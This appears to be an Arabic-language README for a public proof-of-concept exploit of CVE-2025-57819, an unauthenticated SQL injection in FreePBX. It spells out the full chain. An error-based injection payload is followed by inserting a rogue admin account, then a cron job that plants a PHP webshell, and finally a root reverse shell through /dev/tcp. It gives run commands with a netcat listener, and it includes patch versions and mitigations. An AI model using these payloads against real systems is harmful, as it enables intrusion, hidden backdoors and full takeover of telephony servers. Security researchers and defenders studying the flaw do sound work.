
CVE-2025-57819 FreePBX SQLi RCE PoC
للأغراض التعليمية والبحث الأمني فقط - راجع الإشعار القانوني أدناه
إثبات مفهوم (PoC) لاستغلال CVE-2025-57819، وهي ثغرة حرجة من نوع حقن SQL غير مصادَق عليها في FreePBX تتيح تنفيذ كود عن بُعد. يُنشر هذا الـ PoC بعد إصدار التصحيحات الرسمية لأغراض البحث الأمني والاختبار المصرّح به فقط.
إصدارات FreePBX 15.x و16.x و17.x (الأقل من الإصدارات المصحّحة) عرضة لثغرة حقن SQL غير مصادَق عليها في معالج AJAX الخاص بوحدة endpoint. تتيح سلسلة الاستغلال هذه:
| CVE ID | CVE-2025-57819 |
| النوع | حقن SQL غير مصادَق عليه (قائم على الأخطاء - Error-based) |
| CVSS | 9.8 / 10.0 (حرجة) |
| الإصدارات المتأثرة | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| الإصدارات المصحّحة | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | نعم (29 أغسطس 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
تقبل المعامل brand في معالج AJAX الخاص بوحدة endpoint مدخلات المستخدم دون أي تحقق، مما يؤدي إلى حقن SQL قائم على الأخطاء (error-based).
تحقق من SQLi باستخدام استخراج قائم على الأخطاء عبر EXTRACTVALUE() لتسريب اسم قاعدة البيانات:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
أدخل مستخدمًا إداريًا جديدًا في asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
باستخدام بيانات اعتماد إدارية صالحة، يوثّق الاستغلال الدخول إلى FreePBX وينشئ جلسة مصادقًا عليها. يتم حفظ ملفات تعريف الارتباط (cookies) الخاصة بالجلسة واستخدامها في جميع الطلبات اللاحقة المصادق عليها.
حقن أمر قشرة الويب في asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
ينفّذ مُشغّل cron في FreePBX الأمر بصلاحيات مستخدم asterisk، ليضع قشرة ويب PHP (webshell) على النظام.
يتم نشر قشرة ويب PHP في /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
يستقصي الاستغلال قشرة الويب دوريًا حتى يتم تفعيلها، محققًا تنفيذ كود عن بُعد (RCE) بصلاحيات مستخدم asterisk (uid=999).
إذا تم تكوين incron على الهدف:
/var/spool/asterisk/incron/incrond (الذي يعمل بصلاحيات root) يكتشف إنشاء الملف/usr/bin/sysadmin_manager مع اسم ملف المشغِّلsysadmin_manager من توقيع GPG ويوجّه الطلب إلى خطاف fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1النتيجة: الحصول على قشرة root على مستمع القشرة العكسية (إذا كان incron متاحًا).
brandasterisk.cron_jobs القابل للكتابة ينفذ الأوامر بصلاحيات asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# إعداد مستمع Netcat
nc -lvnp <Listener Port>
# تشغيل الاستغلال
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| الإصدار | الحالة |
|---|---|
| 15.0.0 - 15.0.65 | قابل للاختراق |
| 15.0.66+ | مصحّح |
| 16.0.0 - 16.0.88 | قابل للاختراق |
| 16.0.89+ | مصحّح |
| 17.0.0 - 17.0.2 | قابل للاختراق |
| 17.0.3+ | مصحّح |
إجراءات فورية:
/admin/ajax.php من الشبكات غير الموثوقةsystemctl disable incrondإجراءات دائمة: قم بالترقية إلى الإصدارات المصحّحة: 15.0.66+ أو 16.0.89+ أو 17.0.3+
⚠️ إخلاء المسؤولية
يُقدَّم إثبات المفهوم هذا لأغراض الاختبار الأمني المصرّح به والتعليم فقط. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام أو الأضرار الناجمة عن هذه الأداة.
يجب عليك الامتثال لـ:
الاستخدامات المحظورة:
تنازل عن المسؤولية: المؤلف غير مسؤول عن:
هذه الثغرة:
JazzTheRabbit
رخصة MIT